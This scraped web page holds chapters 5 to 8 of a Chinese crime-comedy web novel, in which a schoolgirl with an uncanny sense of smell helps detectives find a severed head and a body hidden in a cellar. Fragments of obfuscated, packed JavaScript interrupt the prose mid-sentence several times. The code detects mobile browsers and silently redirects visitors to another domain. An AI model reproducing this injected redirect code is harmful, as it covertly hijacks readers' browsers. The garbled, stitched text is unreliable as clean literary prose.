l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834909|175627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >桑白玉比她们更困惑,“爸爸在我们班是尊称啊。” “啊?” 桑白玉可没撒谎,她班里的男生都互相争着当爸爸。 谁打赌输了、谁打架输了,就得管对方叫爸爸,大家都很喜欢当爸爸。 因此,爸爸等于尊称。 桑白玉自豪道:“我们班男生都叫过我呢!” 方小满问:“你是赌赢了,还是打赢了?” 桑白玉说:“他们手贱,天天拽我辫子,可讨厌了。” 方小满明白了,她是打赢的。 桑白玉有点儿……骨骼清奇啊? 他们家好像捡到宝贝了? 这几日依然有很多警探在平乡街逗留。 警探们虎视眈眈,最喜欢盯的就是玉石店。 纳塔和吴元青提过玉石店,这家店的主人很能打,和龙星岗市好几个“老大” 都有来往,玉石店里有赌石,生意做得不清白。 平乡街的人都怕他们,如果想把平乡街清理干净,这家人是重中之重。 吴元青眯着眼盯着店门,见一个小女孩领着一个小小女孩走了出来。 纳塔赶紧说:“这是方小满,特别邪乎,别看她年纪小,她是会用抢的,还会做土炸/弹,咱们最好别招惹她。” 吴元青冷笑。 宁蓝国太乱,在华国可不会允许这种事发生。 就是管理混乱,宁蓝国的老百姓才没安稳日子。 他有心帮老百姓清除这些危险元素,但最近的工作实在不顺利。 平乡街这边没动静。 警察署倒是接到一封匿名举报信,信中说有尸体被藏到地窖里。 他带着纳塔几人走访一周,也没找到所谓的藏尸地窖。 反过头来再去找匿名信的出处,更找不到。 其他人倾向于这是恶作剧,但吴元青的直觉告诉他没那么简单。 恶作剧不会提到龙星岗市很少有地窖。 纳塔劝道:“探长啊,您好好想想,咱办案不能硬碰硬,得挑软柿子,对不?你要打探惠家的情况……你看那个小小女孩,看着就挺乖,你把她抓过来,问问不就得啦。而且你不是还在找地窖吗?咱别惹他们,去找地窖好了。” 吴元青若有所思。 片刻,他叮嘱道:“把她带过来,不要动粗,要他们小心行事,不要暴露行踪,我希望我们的行动,没人知道。” 偶然路过的小毛贼听到这话瑟瑟发抖——玉石店好几日没开张,他们看玉石店的风向,都没敢乱动。 他是应该知道,还是不该知道啊? 5. 第 5 章 警探们扫清罪恶的行动持续进行中,警探找人,平乡街的三教九流们就躲人,一时间无比和谐。 吴元青环顾四周,对警探们的现状很满意。 做警探,就要保持初心,时刻调动、鞭策自己,一生为维护治安而战! 直到纳塔送来最近七日的出警记录。 “长峡市临近两个区出警十次。” “政府附近出警五次。” “平乡街出警零次!” 吴元青微笑,“工作是有成果的。” 纳塔赶紧拍马屁,“都是您指挥得好!” 阮枫:“……” “对平乡街的巡逻要继续,如果有不法分子,不管是什么身份,立刻逮捕。” 纳塔道:“平乡街也没出过乱子,连个小偷都没有。” 吴元青:“综合来看,平乡街的治安的确是最好的。” 阮枫:“……” 听听这是人话吗?平乡街的治安最好?? 吴元青:“……” 等等,为什么平乡街的治安是最好的?! 阮枫幽幽道:“吴探长,您不觉得,他们已经知道了吗?” 吴元青:“……” 这帮狡猾的狐狸! 吴元青皱眉,“看来他们早就得到消息……把软柿子带回来看看,现在!” * 张敏敏最近越来越郁闷。 她运气不好,和桑白玉同班。 现在不仅她爸妈喜欢桑白玉,就连老师同学都喜欢她。 桑白玉不就是长得好看吗?至于吗? 张敏敏拎着破洞书包骂骂咧咧。 书包是她妈刚去长峡市买的,还没显摆几天,就被她玩扔书包时搞坏了,回家之后肯定要挨骂。 张敏敏磨磨蹭蹭越走越慢。 她家是修自行车的,以前生意不错,但现在不行,她妈总念叨家里没钱。 书包坏了,她的屁股肯定会开花。 还是男女混合运动导致她屁股开花的那种。 她磨蹭到一录像厅前,留意到不远处的闵文。 闵文是她的同班同学,不爱说话,挺招人烦。 那天张敏敏就是让她去拉围观桑白玉的人。 张敏敏眼睛一转,跑到闵文面前,抢走她的书包,把自己的丢过去。 闵文一看到张敏敏,眼睛就红了,“这是我的书包。” “借我对付一两天,”张敏敏把闵文的课本全都倒出来,“你不是会针线吗,你把我的书包缝好,缝好了我再还你。” 闵文红着眼睛去捡课本,她不肯把书包“借”给张敏敏,还想去夺,却被力气大的张敏敏抓住脖子推远,“说了是借!别那么小气!小心我叫人来揍你!” 张敏敏嚣张不是一日两日了,她能叫来人,闵文叫不来,真闹起来,闵文只有被欺负的份。 现在也只能自己吞下苦水。 她正想哭,怀里抱着的书忽然被人拿走。 桑白玉不知何时出现,今天方小满没带她回家,她只能走回去。 太阳虽然已经下山,但余温仍在,街上穿着大背心的男人摇着蒲扇还满头大汗,更别说还要穿校服的桑白玉。 她心情正差呢。 桑白玉问:“你在欺负同学吗?” 闵文看到桑白玉,眼睛都亮了起来,“桑白玉同学!” 张敏敏一看闵文的反应就反感,怎么每个人见到桑白玉,都是这一副不值钱的样子?! 不等张敏敏发脾气,桑白玉先将书包抢回来,又把书和文具捡起来放回去,“闵文同学,被欺负要懂得反抗,自己打不过就去找老师、找家长。他们如果不管,那就只能自己练练,直到能把对方打趴下。” 闵文躲到桑白玉身后。 张敏敏气道:“你怎么多管闲事啊?把书包给我!” 桑白玉摇头,“你是坏同学,不给你。” 张敏敏:“……你信不信我揍你啊!” 她看桑白玉不爽很久了! 看桑白玉瘦瘦弱弱的样子,估计风一吹就倒,还敢教训她?! 桑白玉正想处理张敏敏,余光却见苏蓝移走在马路对面。 张敏敏一看到苏蓝移就怕了。 她爸妈都怕苏蓝移。 然而桑白玉朝苏蓝移招手时,他却目不斜视走了过去。 桑白玉有些失落,她都用最尊敬的称呼叫他了,他还是不喜欢她啊? 难道是不喜欢做“爸爸”?不能啊,她的男同学都喜欢玩这套呢,而且那些结了婚有孩子的,也都抢着要什么冠姓权呢。 张敏敏松口气,嘲笑起来,“原来人家不想搭理你,我还以为你在惠家过得挺好呢。” 桑白玉低落道:“是挺难过的,张敏敏同学,你今天不要惹我,也不要欺负闵文同学,我心情不好哦。” 张敏敏挺胸抬头,“你能把我怎么样!” 桑白玉抬头,露出诡异的神秘微笑。 笑得还挺好看。 十分钟后,张敏敏从胡同里跌跌撞撞跑出来,抓着桑白玉不松手,“妈妈!妈妈我错了!你教教我这招!以后你就跟我混,不对,我给你当小妹!!” 闵文茫然地跟在后面。 桑白玉同学看着瘦弱,但居然能……一只手把张敏敏揪起来?? 桑白玉却很纳闷,被叫爸爸妈妈也不开心啊,还会有一种莫名的责任感,她的同学怎么会有这种癖好的? 桑白玉试图摆脱“新闺女”。 纠缠之时,两个穿制服的人拦住二人,“桑白玉?跟我们走一趟。” 直到桑白玉上了警探的车,张敏敏和闵文还傻乎乎站在原地。 闵文担忧地看着张敏敏。 今天桑白玉没给她面子,她肯定会报复桑白玉。 人家是为了她才得罪张敏敏,她不能干看着。 闵文看向张敏敏,却发现她痴痴地盯着警车,“其实桑小玉长得还真漂亮诶。” 闵文:“……” 又一个没救的。 * 警察署人来人往。 龙星岗市的警察署和户籍部门不在一起,来警署的都是报案或办案的。 桑白玉坐在木条拼成的长椅上左顾右盼。 警探把她带来后就去忙了,还没人搭理她。 半个小时后,阮枫才走过来,“桑白玉小朋友?姐姐带你去办公室。” 已经一米六多的桑白玉挺直腰杆,“我不是小朋友了。” 阮枫忍不住笑起来。 吴探长说要拿最软的柿子开刀,这软柿子还真招人喜欢。 桑白玉来到办公室,吴元青和纳塔都在。 吴元青皱着蹙眉看文件,似乎遇到烦心事,“又有匿名信?只说地窖,也不说清楚是哪个地窖,我把市里的地窖都翻一遍?” 纳塔道:“估计就是恶作剧。” 桑白玉想到有老师提过,最近有警察在找地窖里的尸体。 找尸体? 蛮有意思的。 吴元青瞥了眼桑白玉,示意她坐,“说说你和惠海铭的关系。” 他问完又低头研究匿名信,好半天没等到回话。 吴元青抬眼,“没听见?” 桑白玉睁着无辜的大眼看着他。 阮枫道:“您太凶了,人家还小呢。” 吴元青:“……” 他拧眉看着桑白玉。 看着确实乖巧懂事又可怜,可他怎么觉得这孩子其实一点儿都不害怕? 桑白玉肚子“咕噜”叫了两声。 她可怜巴巴道:“一放学就被抓过来了,还没吃晚饭呢。” 吴元青:“……” 装的,他赌上十几年刑警生涯的名誉,她绝对是装的! 他是老刑警了,不会被可怜兮兮的女孩蛊惑,他要坚定立场! 桑白玉轻轻叹气,“好饿哦。” 吴元青:“……,去给她弄点儿吃的。” 阮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834910|175627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枫笑着应下。 桑白玉叮嘱道:“漂亮姐姐,马路对面有烧烤摊哦!” 吴元青:“……不准挑食!” 桑白玉补充,“是这个叔叔抓我来的,记他账上!” 吴元青:“!!” 这就不太对了吧! 桑白玉可怜兮兮地看着吴元青,“叔叔一定不会介意的吧。” 他介意!他很介意!他还没拿到工资! 吴元青忍痛掏钱。 拿点儿钱也行,小孩子嘛,嘴都挑,吃完能都交代清楚也不亏。 阮枫买来十串烤牛肉。 吴元青:“快吃,吃完了……” 他话音未落,桑白玉拿起烤串,一口气全撸下来。 吴元青:“……” 吃、吃完了? “你的饭量有点儿……” 阮枫和纳塔给桑白玉鼓掌,“这样吃串真快!” “你们两个!这是值得鼓掌的事吗?!还有你,吃完就回答问题!” 桑白玉迅速把牛肉吞下去,小脸儿一点儿都没脏,无辜道:“没吃饱。” 吴元青:“……” 十分钟后,吴元青办公桌上多了几十串串竹签。 桑白玉捧着一整根烤玉米嚼嚼嚼。 烤串的香气弥漫到整个警察署,办公室门口来了好几个闻到香味的人。 阮枫咽了咽口水。 烤串挺常见,但不知为何,看桑白玉吃烤串,格外香。 吴元青收起干瘪的钱包,面无表情地问道:“为什么只买肉串,不能早买主食吗?” 阮枫比桑白玉还无辜,“肉串香啊。” 吴元青:“……” 忍住,一切都是为了工作。 吴元青敲了敲桌子,“桑白玉,吃饱了吗?能回答问题吗?” 桑白玉勉强咽下一口玉米,“您问什么了? 吴元青:“……” 忍住,一定要忍住! “我问你,你和惠海铭是什么关系,你家里有几口人,苏蓝移在做什么,玉石店是谁投资的!” 桑白玉迷茫道:“没吃饱,脑子不太灵活。” 吴元青:“……,一会儿再给你买。” 桑白玉爽快地摊手,“不知道呀,我刚来没几天,我是被拐来的。叔叔,你答应我了哦。” 吴元青:“……” “那你不早说!!” 吴元青很破防。 努力好几天,地窖没找到,工作也没进展,现在还被小孩儿耍! 他把钱包拍在桌子上,“你!” 阮枫吓得身子一抖,“您别生气,您……” 吴元青:“再去买五十串!” 阮枫:“啊?” 探长气坏了,想拿竹签扎死自己? 吴元青老脸一红,“咳,我……饿了。” 小屁孩啃个玉米都那么香! 有关惠海铭家的问题,桑白玉不会回答。 但警察叔叔是请她吃串的好人,桑白玉觉得自己得回报。 于是—— 吴元青:“玉石店是苏蓝移开的,苏蓝移平时和什么人有来往?” 桑白玉:“阮枫姐姐和凶手牵过手了。” 吴元青:“苏蓝移和平乡街其他人有没有来往?” 桑白玉:“那个地方可能有炸药哦,气味比较明显。” 吴元青:“平乡街其他人……” 桑白玉:“也可能不是凶手,是和凶手有过接触的人,我发现人的气味是会混在一起的。” 吴元青:“是我在问你问题,你……等等,什么凶手?!” 这丫头胡说八道什么? 吴元青正想训她几句,阮枫惨白着脸跑进来,“探长!烧烤摊刚刚发现了……” 吴元青:“?” 阮枫:“发现了脑袋!人的脑袋!” 吴元青震惊地看向桑白玉。 桑白玉举起玉米秆:“再来一串!” 6. 第 6 章 在龙星岗市支烧烤摊的基本是华国人。 烧烤摊的炉子有两米长,炉子旁支了个大伞,伞下是泡沫箱,箱子里装的都是今日的备货。 此刻烧烤摊被围得里三层外三层。 吴元青快步跑出来,先将现场的人清走。 如此猎奇之事,他们当然不愿离开,就算那股味道直冲天灵盖,也得把天灵盖按回去继续看。 烧烤摊老板吓得双腿瘫软,此刻已坐在地上,手还不断向后划拉。 烤炉下积了漆黑的油渍,老板的手划得黑乎乎的。 吴元青瞟了一眼老板,道:“平时出摊不知道打扫卫生?自己坐上去了吧。” 阮枫:“……” 他们新探长还怪会抓重点的。 吴元青将泡沫箱剩下的肉取出来。 肉串是用塑料袋装好的,最下面有一透明塑料袋,塑料袋紧紧裹着一张脸,那张脸被压得扁平,但临死前又没闭上眼睛,如今更显得眼球凸出。 吴元青提起袋子,一阵呕吐声随之传来,这声音还颇有节奏感,此起彼伏的。 吴元青回头,所有看热闹的,还有阮枫和纳塔,都找墙根扶着去吐了。 吴元青:“……,你们宁蓝国的警察署,都不办杀人案?” 尸体而已,有什么可怕的? 他转过身,见背着书包的桑白玉走出来。 吴元青把头颅藏到身后,板着脸说:“小孩儿不能看,先回去待着,一会儿送你回家。” 桑白玉道:“我不是孩子,我已经读初中了。” 吴元青:“?” 初中生不就是小屁孩? 桑白玉转着圈地去找人头,吴元青就转着圈地躲,“小孩儿看了做噩梦!闭眼!回办公室!” 桑白玉猛地停住,趁吴元青还在转,抓住他的手,弯腰看去。 那张人脸正对着他,眼球凸得厉害,比平常人的眼睛都大。鼻子和嘴好像是扁平的,神情是惊惧状,好像临死前见到此生最恐怖的一幕。 吴元青的心提了起来。 吓哭成人就算了,吓哭小孩儿还得哄,他可不擅长哄孩子。 女儿五岁那年,他送给女儿一本练习册,女儿哭了好几天。 多贴心的礼物啊,特别贵,怎么就不喜欢呢? 但桑白玉没哭,非但没哭,她研究片刻后,还凑上去闻了闻,距离近到塞不进一只手。 看到这一幕,刚吐完的纳塔和阮枫又回去吐了。 纳塔:“那孩子是正常人吗?!” 阮枫:“……应该就是,就是有胆识?” 吴元青的嘴张成“西瓜”大小。 阮枫走过来,说话气息还不太稳,“小玉,你不害怕?” 桑白玉直起身体,笑道:“没什么好怕……” 她抬头看到吴元青震惊到恐怖的脸。 桑白玉:“……” 她躲到阮枫身后,“姐姐,好可怕啊。” 吴元青:“?” “你怕谁呢?!” 头颅被吴元青带回警察署。 死者身份不明,看样貌是宁蓝国人,脸颊瘦削,年纪在三十岁左右。 烧烤摊主上午在家串好肉串带来,下午营业,一直到肉串快要用光,才发现异常。 可笑的是,警察署连个像样的法医都没有,市以上是府,要等府里协调派法医来验尸。 一来一回,尸体都能冻好几轮。 “难怪破案率低,”吴元青道,“等府里协调法医过来,线索要丢一大半。” 阮枫愁云满面,“是啊,太耽误时间了。” “这也没办法,”纳塔想偷懒,“就先等着呗。” 等着等着线索就没了,没了就不必破案,好事。 他以前出去走访过,一条街每一户都要进去查看,累得很。 吴元青和阮枫同时看过去。 纳塔:“……” 他振臂高呼,“还死者公道!给家属真相!” 阮枫白了他一眼,对吴元青说道:“刚刚小玉一直说不是这一个,她好像知道什么,要不问问她?” 桑白玉又被带进办公室。 原本该去询问室的,但吴元青考虑到孩子可能会害怕,所以把人带到相对明亮的环境。 阮枫问:“吴队,你真觉得她会害怕?” 吴元青:“……” 桑白玉很喜欢警察署,尤其喜欢请她吃烧烤的叔叔姐姐们,她一心想帮忙,将自己知道的全都说了出来,“凶手肯定接触过死者,但味道和阮枫姐姐身上的味道不同。头颅上没有炸药的残留气味,应该有两个死者,或许是两起杀人案。” 吴元青奇怪道:“你说的味道是什么?” “就是味道啊,”桑白玉好奇道,“叔叔你没闻到吗?” 吴元青:“?” 他看向阮枫,阮枫摇头。 再看纳塔,纳塔好像快睡着了。 吴元青踢了他屁股一脚,纳塔站起来大呵,“小贼别跑!” 办公室内寂静无声。 纳塔回过神来,慷慨激昂道:“看,我做梦都想着抓贼!” 桑白玉:“……” 警察叔叔们看起来也不都是十分可信。 吴元青摇头道:“算了,你毕竟还是孩子,今天叫你过来,本来就是想看看玉石店的情况,阮枫,你先把她送回去。和那家人说一声,注意她的情绪,别被这事影响。” 吴元青有些懊悔,他刚刚竟真的对桑白玉的话多了几分期待。 但孩子就是孩子,初中生正是叛逆的年纪,没几句话能信的。 “你们真的闻不到啊?”桑白玉大失所望,“我还以为警察叔叔都很厉害呢,和我们华国不一样。” 吴元青:“……” 不是,这孩子怎么又说胡话又气他呢? 吴元青起身, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834911|175627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “纳塔,把烧烤摊老板带过来问话,尽快确认死者身份,排查人际关系。” “身份的话……”桑白玉说,“他可能是瘾/君子,味道很明显,龙星岗市有挺多这东西的渠道,可以从这方面入手。” 阮枫听得有些懵。 吴元青一听到“味道论”就头痛,什么人能在人群中靠味道分辨凶手?港台电视剧都不敢这样演。 他挥挥手,“带她走吧。” 桑白玉终于明白了,警察叔叔们真没这本事,他们都不信她。 她只好换一个说法,“他年纪不大,但面部凹陷,黑眼圈极重,脸上几乎没有肉,他又不是天天需要熬夜工作的牛马,这样的面貌,嗑药的可能性挺高,值得一查。” 吴元青:“……” 天天熬夜、工作、牛马…… 骂他是牛马呢? “而且啊,你们之前在找地窖吧?凶手的味道和普通人的味道是不同的,他用过凶器,而且有血迹,情绪上似乎也有不同,但我现在不能很好地分辨。我在学校闻过类似的味道,阮枫姐姐,你去过学校吗?” 阮枫绞尽脑汁地回忆,“没去过平乡中学。” 吴元青:“你看,你还胡说?” 阮枫:“但还真接触过几个学生,不过我都不认识。” 桑白玉得意地叉腰,“你看,我没胡说哦。” 吴元青:“……” 他狐疑地看着桑白玉,有些搞不懂状况。 桑白玉说:“你把匿名信给我看看,说不定我能找到写匿名信的人呢?” 阮枫思索道:“如果你真能闻到味道,匿名信肯定会留下很多他的味道,说不定还真能找到。” 桑白玉连连点头。 吴元青作为一名传统刑警,无法接受这一说法,“你也跟着胡闹?” 桑白玉起身往外走,也不打招呼。 吴元青无奈道:“初中生就这样,叛逆,摸不透他们。” 下一秒,他听到令人捉摸不透的初中生的哭声,“哥哥,我也不知道我做错了什么,里面的警察叔叔把我抓过来,让我交代家里的情况……可我只是个孩子,真的不知道啊。他好可怕,你能带我走吗?” 吴元青:“……” 他弹步起跳飞到桑白玉身边,把人拽回办公室,对外赔笑道:“孩子闹脾气,没事,没大事。” 吴元青关上办公室的门。 桑白玉笑盈盈的,哪里有哭的样子? 吴元青:“?!,你耍我啊!” 桑白玉嘴角下撇,又要往外走,“哥哥,我只是个孩子……” 吴元青拉住桑白玉的衣领,暴躁道:“匿名信拿过来!!” 匿名信并非手写,所有字都是在报纸上剪下来拼凑的。 纸张普通,信封上没有邮戳和邮票,没有任何可证明身份的线索。 桑白玉从左闻到右,又从右闻到左。 是她? 7. 第 7 章 平乡街虽乱,但街道两旁皆是商户,经济情况其实还算不错,龙星岗作为宁蓝国边境小城,随处可见破败的茅草屋,与平乡街没法比。 吴元青带着几名警探跟在桑白玉身后。 几人走在田埂上,深一脚浅一脚。 吴元青去过环境更恶劣的犯罪现场,这点儿小事不值一提。 但对纳塔来说就难了,他细胳膊细腿,最擅长的事是偷懒,可不是下地干活。 纳塔走一步就叫一声。 桑白玉不太喜欢吵闹,看着纳塔认真点评道:“尖叫鸡。” 纳塔:“啊?叫啥?啥鸡?你饿了?” 阮枫也不懂,但莫名觉得挺贴切,“尖叫鸡,以后你就在警署歇着,看你那手不能提肩不能扛四体不勤五谷不分的没用样子。” 纳塔不叫了,他气鼓鼓地往前冲,“我肩不能抗?!你是没看见我的大肌肉!” 桑白玉停下来看他。 纳塔站在头排迷茫:“……,往哪走啊?!” 吴元青没掺和进几人的战争中,他一直在观察桑白玉。 闻了闻信,就指出信可能出自谁手。 去学校找老师问了她的家庭住址,他们便赶过来。 这事怎么看都玄乎。 阮枫退到吴元青旁边,“吴队,还在担心?” 吴元青摇着头说:“怎么想都不靠谱,做刑警最讲究证据,证据链不全、少一项都有可能造成冤假错案。吃了的枪子可不会再吐出来,你让我靠气味去办案……” 他实在接受不来。 桑白玉的声音冷不丁冒出来,“可是我们现在不是去给人家喂枪子的,我们是去找地窖找线索,叔叔,你打算直接结案呀?” 天真的声音,意味深长的目光。 吴元青:“……” 这小兔崽子又笑话他! 几人已快走到龙星岗边缘。 附近的居民以宁蓝国人居多,隔几块田便能看到几间建在一起的茅草屋。 茅草屋多用竹子搭成,离地二三十公分,比正经高脚屋矮得多。 龙星岗市炎热潮湿,这样的房子便于通风散热。 他们很快走到其中几户人家院前。 竹楼稍显破旧,楼梯扶手上晾着衣服。 衣服都灰扑扑的,没几件新的。 吴元青迅速瞥了眼院子,没看见地窖入口。 他脸上浮现笑容,还能让这丫头片子牵着鼻子走?! 吴元青心情大好,“回去之后,先查市里的瘾/君子,这边的情况我不太了解,这种生意很多?” 纳塔正心疼刚买的白色运动鞋,没空理会吴元青,阮枫骂了句傻子——跑田里穿白鞋,活该。 阮枫答道:“吴队你可能不太清楚,宁蓝这边主要是几个家族比较厉害,明面上已经控制整个国家的娱乐行业,如果深究,可能更多的领域都被家族控制。有关你说的这方面……这边的生意应该都是池家的。” “池家?” “池家是二十年前兴起的,目前龙星岗市所有娱乐产业都是池家所有,而且他们可能有私人武/装。我前些日子见过池家的少爷,比小玉大不了多少,小小年纪心狠手辣,一看就不是善茬。” 吴元青道:“行,回去先查池家,低调着查,尽量别让其他人知道,保护好自己。” 这边吴元青终于摆脱“味道”怪谈,那边桑白玉正冲着一扇窗户招手,“闵文同学!” 闵文看到桑白玉,还没来得及笑,就看到吴元青几人,大惊失色。 她穿着拖鞋快步走出来,腰上还系着围裙。 一个中年女人拉着小男孩走过来,“你们是谁?” 吴元青自我介绍道:“吴元青,警探。” 闵文跑出来,看到女人后叫了声“妈”。 郦榕把闵文拉到身边。 闵俊也想伸手拉姐姐,但被闵文推开。 吴元青只想尽快结束这场可能使传统刑侦消亡的闹剧,他问道:“你好,劳烦问问家里有地窖吗?” 郦榕摇头。 吴元青的呼吸愈发畅快。 好!书没白念!刑警没白当! 闵文道:“家里没地窖,但是附近有一个。” 吴元青笑容石化。 大批警探赶到这个没几户人家的小村落。 在二十几人的观摩下,地窖附近围上警戒线,一批又一批的警探们走进去。 大部分人都是站着下去,爬着出来。 纳塔再次变身尖叫鸡,“不去了!打死都不去了!天灵盖要没了!” 郦榕揽着闵文和闵俊,面如死灰。 只有吴元青呆坐在旁边,心里默默流泪。 传统刑侦没了,消失了,完蛋了!! * 据尖叫鸡说,地窖的情况很糟糕。 尸体已高度腐败,地窖又近乎密封状态,狭小的空间全是尸臭味。 听说往下爬的楼梯上都爬满蛆虫和苍蝇。 阮枫下去两次,身上都沾了味。 她拉着桑白玉说:“一会儿让尖叫……让纳塔先送你回去,不要担心,姐姐是警探,一定会保护你的安全,今天的事别害怕。” 桑白玉两眼放光,“下面很可怕吗?!” 阮枫:“……” 桑白玉:“我能下去看看吗!” 尖叫鸡:“……” 桑白玉煞有介事道:“我应该下去的,尸体上肯定沾了凶手的味道,说不定能闻到。” 阮枫道:“下面真的很可怕,你还是别下去了。” 桑白玉的眼睛又亮了一个度。 尖叫鸡:“你别吸引她了!!” 三观破灭的吴元青姗姗来迟。 阮枫道:“吴队,你劝劝小玉吧。” 吴元青神色复杂地看向桑白玉,“下面有蛆,有苍蝇。” 桑白玉:“和旱厕里的一样吗?我也没见过诶!” 尖叫鸡:“都说了你们别再吸引她!!” 吴元青眼睛偷偷转了好几圈,让自己显得很聪明的样子,不能总被丫头片子压一头。 警探们已经“折了”一批又一批,可见下面的情况真的不容乐观。 桑白玉才十几岁,就算不怕人头,也不能不怕高度腐败的尸体吧? 就算不怕,她味觉强,怎么也得被尸臭熏出来吧? 赶紧把她吓走,免得她以后真对刑事案感兴趣,她太小,接触这些事不安全。 吴元青大手一挥,“我带你去。” 尖叫鸡:“……” 完了完了,队长也不正常了。 阮枫担心桑白玉,拉起她的手陪她下去。 地窖没有灯,阮枫把头灯借给桑白玉,两人还没往下走,“沁人心脾”的味道一波接着一波。 饶是阮枫,现在也快被熏晕了。 她迫不得已,和其他警探一样戴上口罩,又递给桑白玉一个。 桑白玉拒绝道:“戴口罩会闻不准的。” 阮枫:“……” 这孩子的工作比她的工作可怕多了。 桑白玉先往下走。 直梯靠在墙壁上,已经生锈。 桑白玉往下走了几步,看到白嫩的蛆虫正往上爬。 阮枫想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834912|175627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吐。 桑白玉盯着它看了好一会儿,惊叹道:“吃人肉长大的就是不一样。” 阮枫:“……” 姐姐有点儿怕你了。 桑白玉避开白胖的蛆,继续往下走。 越往下味道越浓。 刚下来时,桑白玉也有被冲击到,但她很快稳住心神。 尸体被放在蛇皮袋中,蛇皮袋上有条状印花,是龙星岗人常用的袋子,拉链部分还在往外冒尸水。 阮枫说:“小玉,害怕就站到我身后,这几天我都会保护你。” 她刚说完,便瞥见被直接砍断的脖子,黑乎乎的血水黏在一起,差点儿吐出来。 桑白玉站到阮枫身前,“姐姐,你站在我身后吧,有我在,没事的。” 阮枫:“……” 她好像理解吴元青的感受了。 她怎么会这么弱!!她要练习!要努力!要用功!! 桑白玉试图闻到凶手的气息。 每个人的气味都是不同的,接触时间越久,留下的气味越多,桑白玉就是在捕捉这些残留的气息。 但现在,尸臭味儿太浓,她什么都闻不到。 如果能将尸臭味儿屏蔽就好了。 桑白玉尝试许久都没成功。 她失望道:“我们上去吧。” 阮枫连忙道:“走吧走吧,谁都会害怕的。” 桑白玉握拳发誓,“把尸体搬上去,尸臭会散去不少,一定能闻到!” 阮枫:“……” 姐姐真的有点儿怕你了。 几名警探利用绳索合力将蛇皮袋抬出来。 所幸蛇皮袋还没破败,尸体很快转移到地面。 村民议论纷纷,桑白玉只能听懂一半。 “真……啦。” “死……得……好。” “一起……死。” 桑白玉:“……” 算了先不听了。 郦榕一直低着头,不敢去看。 桑白玉拽拽吴元青,小声说:“叔叔,阮枫姐姐曾经接触过闵文,匿名信上她的味道最浓郁,我也曾在学校闻到过。你得问问她,还得当心炸药。” 吴元青生无可恋,“你还没害怕吗?!” 怎么觉得桑白玉更兴奋了! 纳塔耸肩,“都说了让你们别奖励她。” 瞧,可把她开心坏了。 吴元青放下对付桑白玉的心思,集中注意力解决案件。 他看向郦榕三人。 郦榕今年38岁,结婚20年,龙星岗市的村子里,18岁结婚很常见。 她与丈夫闵淳育有一子一女,闵淳是华裔。 一家四口,只有闵淳赚钱,日子过得紧巴巴的,没人帮衬。 吴元青道:“郦榕,地窖虽然是公用的,但你家用得最多,基本上算是你家私用,你得去看看尸体。” 郦榕低着头往后躲。 闵文走上前,“叔叔,我去看吧。” “你?”吴元青迟疑道,“你还小,还是别……” “没关系的叔叔,我不怕。” 吴元青:“……” 不知为何,他现在觉得十三四岁的小女孩都很可怕。 吴元青看向另一个可怕的小女孩——桑白玉正东闻闻西嗅嗅。 这是打算把传统刑侦的基石直接击碎。 吴元青带闵文走到蛇皮袋前。 她闻到尸臭停止脚步,但只停留片刻,便鼓足勇气走上前。 她看着敞开的蛇皮袋,良久无言。 半晌,闵文幽幽道:“你们找到的尸体,就是他吗?” 8. 第 8 章 垂暮之后便是黑夜。 月亮隐去,星光倒是比二三十年后璀璨,只是晚上的风依旧是闷热、枯燥的。 晃神间,吴元青以为是自己听错了。 “你说什么?” 闵文抬起头,楚楚可怜,劫后重生似的抹眼泪,“还好不是爸爸。” 吴元青奇怪道:“你也认为是闵淳?闵淳去哪了?” 郦榕小跑过来,她不敢看尸体,闭着眼睛把闵文拉到怀里,“我男人好几天没回家了。” 郦榕说的是方言夹着普通话,吴元青刚来没多久,和桑白玉一样还在适应期,他让阮枫来和郦榕交流,“说说情况。” 郦榕一直拉着闵文的手,吞吞吐吐道:“其实……大概是一周前,我们吵架了,他生气跑了出去,没再回来。” “一周都没报警?” 郦榕低声道:“他这么大的人了,我管不了他。” 阮枫奇怪道:“你不担心他的安危吗?” 郦榕又开始抚弄刘海,“他在长峡市有亲人,我以为他回那边了,他一直说我们过得太辛苦,不想留下。他一定是回去了。” 郦榕掐了下闵文,“小文你说说。” 一直沉默的闵文这才点头。 吴元青不动声色地打量母女二人。 桑白玉说匿名信是闵文写的,吴元青原本不信,但现在看她们的相处状态,的确有问题。 吴元青道:“都带回警署。” 警署难得加班。 审讯室的灯光最亮,龙星岗还在用一些传统的审讯方法。 